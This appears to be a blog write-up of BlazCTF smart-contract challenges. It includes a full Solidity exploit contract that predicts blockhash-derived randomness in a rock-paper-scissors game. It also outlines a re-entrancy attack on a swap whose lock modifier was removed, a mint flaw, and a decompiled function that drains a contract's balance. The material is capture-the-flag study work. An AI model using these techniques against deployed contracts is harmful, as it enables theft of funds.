Post

BlazCTF writeup

blazCTF writeup

common usage

1
2
forge create {contract name} --rpc-url {} --private-key {} --contracts {local path} --constructor-args {}
cast send --rpc-url {} --private-key {} "{fuction signature}" {arg}

hello world

etherscan

rock-paper-scissor

Hand is predictable because blockhash is an unsafe source of randomness. Since Solver.predictRandomShape() and Challenge.randomShape() are in the same block, the exploit contract could be like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./Challenge.sol";

contract Solver {
    Challenge public challenge;

    constructor(address challengeAddress) {
        challenge = Challenge(challengeAddress);
    }

    function solve() external returns (bool) {
        // Predict the randomShape value
        RockPaperScissors.Hand predictedHand = predictRandomShape();

        // Determine the hand that defeats the predicted hand
        RockPaperScissors.Hand handToWin = determineWinningHand(predictedHand);

        // Call tryToBeatMe with the predicted hand to set defeated to true
        challenge.rps().tryToBeatMe(handToWin);
        return challenge.isSolved();
    }

    function predictRandomShape() internal view returns (RockPaperScissors.Hand) {
        // Reproduce the same random value as in randomShape function
        return RockPaperScissors.Hand(uint256(keccak256(abi.encodePacked(address(this), blockhash(block.number - 1)))) % 3);
    }

    function determineWinningHand(RockPaperScissors.Hand hand) internal pure returns (RockPaperScissors.Hand) {
    // Determine the hand that defeats the predicted hand
        if (hand == RockPaperScissors.Hand.Rock) {
            return RockPaperScissors.Hand.Paper;
        } else if (hand == RockPaperScissors.Hand.Paper) {
            return RockPaperScissors.Hand.Scissors;
        } else {
            return RockPaperScissors.Hand.Rock;
        }
    }
}

Easy-NFT

Our goal is to make the PLAYER be the owner of the first 20 ET. mint can do that (even the tokenId doesn’t exist or already has owner), and mint requires msg.owner be the PLAYER itself so I just mint 20 times in CLI.

lockless-swap

It’s noticable (from the comment) that some kind of lock protection is removed in LocklessPancakePair.swap(). We can find the original PancakePair contract in https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/PancakePair.sol , and find out modifier lock()` was changed and made the swap vulnerable to re-entrancy attack.

To achieve this attack, we need to write a IPancakeCallee contract (as the 3rd parameter of swap) and call swap() again in its pancakeCall function.

Jambo

最后唯一成功的方案:部署到sepolia后使用https://library.dedaub.com/decompile?md5=72c082af175604345ff855b76f19ec62反编译

0x2f484947函数可以转出所有的balance到msg.sender,根据参数类型看应该是answer函数。

start只能由初始化者执行?无法由调用者再次执行start?

This post is licensed under CC BY 4.0 by the author.